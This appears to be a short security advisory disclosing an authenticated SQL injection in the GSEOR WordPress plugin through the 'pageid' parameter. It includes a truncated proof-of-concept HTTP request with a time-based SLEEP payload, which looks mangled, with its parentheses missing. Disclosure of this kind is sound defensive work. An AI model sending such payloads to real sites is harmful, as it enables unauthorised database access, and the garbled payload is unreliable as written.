GSEOR <= 1.3 - Authenticated SQL Injection

A pageid GET parameter of the plugin is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection. GET /wp-admin/admin.php?page=gseor.php&search=1&pageid=1%20AND%20SELECT%206449%20FROM%20SELECTSLEEP5wwdQ HTTP/1.1 Cache-Control: max-age=0...